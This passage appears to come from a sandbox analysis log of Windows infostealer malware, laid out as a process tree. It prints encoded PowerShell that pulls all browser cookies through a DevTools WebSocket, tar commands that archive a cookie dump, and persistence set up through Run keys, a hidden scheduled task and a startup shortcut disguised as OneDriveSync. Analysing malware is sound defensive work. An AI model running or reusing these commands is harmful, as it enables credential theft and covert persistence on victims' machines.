AF8AdQByAGwALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABGAHUAbgBjAHQAaQBvAG4AIAB0AG8AIAByAGUAYQBkACAAYQAgAHMAaQBuAGcAbABlACAAYwBvAG0AcABsAGUAdABlACAAVwBlAGIAUwBvAGMAawBlAHQAIAB0AGUAeAB0ACAAbQBlAHMAcwBhAGcAZQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAKAAkAHcALAAgACQAYwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKACAAIAAgACAAIAAgACAAIAAkAGIAdQBmACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADYANQA1ADMANgAKACAAIAAgACAAIAAgACAAIAAkAHMAZQBnACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEEAcgByAGEAeQBTAGUAZwBtAGUAbgB0AFsAYgB5AHQAZQBdACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgALAAkAGIAdQBmACkACgAgACAAIAAgACAAIAAgACAAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHIAZQBzACAAPQAgACQAdwAuAFIAZQBjAGUAaQB2AGUAQQBzAHkAbgBjACgAJABzAGUAZwAsACAAJABjAC4AVABvAGsAZQBuACkALgBSAGUAcwB1AGwAdAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbQBzAC4AVwByAGkAdABlACgAJABiAHUAZgAsACAAMAAsACAAJAByAGUAcwAuAEMAbwB1AG4AdAApAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHIAZQBzAC4ARQBuAGQATwBmAE0AZQBzAHMAYQBnAGUAKQAgAHsAIABiAHIAZQBhAGsAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAHMALgBUAG8AQQByAHIAYQB5ACgAKQApAAoAIAAgACAAIAB9AAoACgAgACAAIAAgACMAIABFAG4AYQBiAGwAZQAgAE4AZQB0AHcAbwByAGsACgAgACAAIAAgACQAYwBtAGQAMQAgAD0AIAAnAHsAIgBpAGQAIgA6ADEALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBlAG4AYQBiAGwAZQAiAH0AJwAKACAAIAAgACAAJABiAHkAdABlAHMAMQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYwBtAGQAMQApAAoAIAAgACAAIAAkAHMAZQBnADEAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQQByAHIAYQB5AFMAZQBnAG0AZQBuAHQAWwBiAHkAdABlAF0AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAKAAsACQAYgB5AHQAZQBzADEAKQAKACAAIAAgACAAJAB3AHMALgBTAGUAbgBkAEEAcwB5AG4AYwAoACQAcwBlAGcAMQAsACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUwBvAGMAawBlAHQAcwAuAFcAZQBiAFMAbwBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAVAB5AHAAZQBdADoAOgBUAGUAeAB0ACwAIAAkAHQAcgB1AGUALAAgACQAYwB0AHMALgBUAG8AawBlAG4AKQAuAFcAYQBpAHQAKAApAAoACgAgACAAIAAgACMAIABSAGUAYQBkACAAdABoAGUAIAByAGUAcwBwAG8AbgBzAGUAIAB0AG8AIABOAGUAdAB3AG8AcgBrAC4AZQBuAGEAYgBsAGUAIABhAG4AZAAgAGQAaQBzAGMAYQByAGQAIABpAHQACgAgACAAIAAgACQAbgB1AGwAbAAgAD0AIABSAGUAYQBkAC0ATQBlAHMAcwBhAGcAZQAgACQAdwBzACAAJABjAHQAcwAKAAoAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAGMAbwBvAGsAaQBlAHMACgAgACAAIAAgACQAYwBtAGQAMgAgAD0AIAAnAHsAIgBpAGQAIgA6ADIALAAiAG0AZQB0AGgAbwBkACIAOgAiAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzACIAfQAnAAoAIAAgACAAIAAkAGIAeQB0AGUAcwAyACAAPQAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAJABjAG0AZAAyACkACgAgACAAIAAgACQAcwBlAGcAMgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBBAHIAcgBhAHkAUwBlAGcAbQBlAG4AdABbAGIAeQB0AGUAXQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAoACwAJABiAHkAdABlAHMAMgApAAoAIAAgACAAIAAkAHcAcwAuAFMAZQBuAGQAQQBzAHkAbgBjACgAJABzAGUAZwAyACwAIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBTAG8AYwBrAGUAdABzAC4AVwBlAGIAUwBvAGMAawBlAHQATQBlAHMAcwBhAGcAZQBUAHkAcABlAF0AOgA6AFQAZQB4AHQALAAgACQAdAByAHUAZQAsACAAJABjAHQAcwAuAFQAbwBrAGUAbgApAC4AVwBhAGkAdAAoACkACgAKACAAIAAgACAAIwAgAFIAZQBhAGQAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAZQAgAHQAbwAgAE4AZQB0AHcAbwByAGsALgBnAGUAdABBAGwAbABDAG8AbwBrAGkAZQBzAAoAIAAgACAAIAAkAGoAcwBvAG4AIAA9ACAAUgBlAGEAZAAtAE0AZQBzAHMAYQBnAGUAIAAkAHcAcwAgACQAYwB0AHMACgAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBzAC4AQwBsAG8AcwBlAEEAcwB5AG4AYwAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFMAbwBjAGsAZQB0AHMALgBXAGUAYgBTAG8AYwBrAGUAdABDAGwAbwBzAGUAUwB0AGEAdAB1AHMAXQA6ADoATgBvAHIAbQBhAGwAQwBsAG8AcwB1AHIAZQAsACAAJwAnACwAIAAkAGMAdABzAC4AVABvAGsAZQBuACkALgBXAGEAaQB0ACgAKQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJABqAHMAbwBuAAoAfQAgAGMAYQB0AGMAaAAgAHsACgAgACAAIAAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAKAAnAHsAIgByAGUAcwB1AGwAdAAiADoAewAiAGMAbwBvAGsAaQBlAHMAIgA6AFsAXQB9ACwAIgBlAHIAcgBvAHIAIgA6ACIAJwAgACsAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAIAArACAAJwAiAH0AJwApAAoAfQA=
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:592
                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe 2>nul"
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:788
                                                                                                                                                                                  • C:\Windows\System32\taskkill.exe
                                                                                                                                                                                    taskkill /F /IM msedge.exe
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                    PID:3428
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_bvxcfq" ."
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:6328
                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:6364
                                                                                                                                                                                      • C:\Windows\System32\tar.exe
                                                                                                                                                                                        tar -caf "C:\Users\Admin\AppData\Local\Temp\deepside.zip" -C "C:\Users\Admin\AppData\Local\Temp\_bvxcfq" .
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:2756
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133039604.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133039604.txt""
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:792
                                                                                                                                                                                          • C:\Windows\System32\tar.exe
                                                                                                                                                                                            tar -caf "C:\Users\Admin\AppData\Local\Temp\ds_ck_1783133039604.zip" -C "C:\Users\Admin\AppData\Local\Temp" "ds_ck_1783133039604.txt"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4176
                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe""
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4440
                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                cmd /c copy /Y "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBrokerHost\RuntimeBrokerHost.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:6928
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveSync" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe"" /f"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:6952
                                                                                                                                                                                                  • C:\Windows\System32\reg.exe
                                                                                                                                                                                                    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveSync" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe"" /f
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Adds Run key to start application
                                                                                                                                                                                                    PID:5548
                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "OneDriveSync" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe"" /f"
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:1696
                                                                                                                                                                                                    • C:\Windows\System32\reg.exe
                                                                                                                                                                                                      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "OneDriveSync" /t REG_SZ /d ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe"" /f
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                                                                      PID:2804
                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "OneDriveSyncTask" /F"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Indicator Removal: Clear Persistence
                                                                                                                                                                                                    PID:6304
                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                      schtasks /Delete /TN "OneDriveSyncTask" /F
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2732
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAFwATwBuAGUARAByAGkAdgBlAFMAeQBuAGMALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBPAG4AZQBEAHIAaQB2AGUAUwB5AG4AYwBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA="
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2228
                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABhAD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAFwATwBuAGUARAByAGkAdgBlAFMAeQBuAGMALgBlAHgAZQAnADsAJAB0AD0ATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAkAHMAPQBOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAwACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0AUwB0AGEAcgB0AFcAaABlAG4AQQB2AGEAaQBsAGEAYgBsAGUAIAAtAE0AdQBsAHQAaQBwAGwAZQBJAG4AcwB0AGEAbgBjAGUAcwAgAEkAZwBuAG8AcgBlAE4AZQB3ADsAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBPAG4AZQBEAHIAaQB2AGUAUwB5AG4AYwBUAGEAcwBrACcAIAAtAEEAYwB0AGkAbwBuACAAJABhACAALQBUAHIAaQBnAGcAZQByACAAJAB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAkAHMAIAAtAFIAdQBuAEwAZQB2AGUAbAAgAEgAaQBnAGgAZQBzAHQAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA=
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1940
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABPAG4AZQBEAHIAaQB2AGUAUwB5AG4AYwBcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:6708
                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJAB3AHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFcAUwBjAHIAaQBwAHQALgBTAGgAZQBsAGwAOwAkAHMAPQAkAHcAcwAuAEMAcgBlAGEAdABlAFMAaABvAHIAdABjAHUAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABTAHQAYQByAHQAIABNAGUAbgB1AFwAUAByAG8AZwByAGEAbQBzAFwAUwB0AGEAcgB0AHUAcABcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAC4AbABuAGsAJwApADsAJABzAC4AVABhAHIAZwBlAHQAUABhAHQAaAA9ACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABPAG4AZQBEAHIAaQB2AGUAUwB5AG4AYwBcAE8AbgBlAEQAcgBpAHYAZQBTAHkAbgBjAC4AZQB4AGUAJwA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ADcAOwAkAHMALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4APQAnAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBlAHIAdgBpAGMAZQAnADsAJABzAC4AUwBhAHYAZQAoACkA
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Drops startup file
                                                                                                                                                                                                              PID:3044
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run""
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:6080
                                                                                                                                                                                                              • C:\Windows\System32\reg.exe
                                                                                                                                                                                                                reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5700
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:2744
                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:2804
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\OneDriveSync\OneDriveSync.exe
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                  PID:3380
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10""
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Hide Artifacts: Hidden Window
                                                                                                                                                                                                                    PID:7064
                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-Process | Select-Object -ExpandProperty Name) -join [char]10"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      PID:4140
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:6420
                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
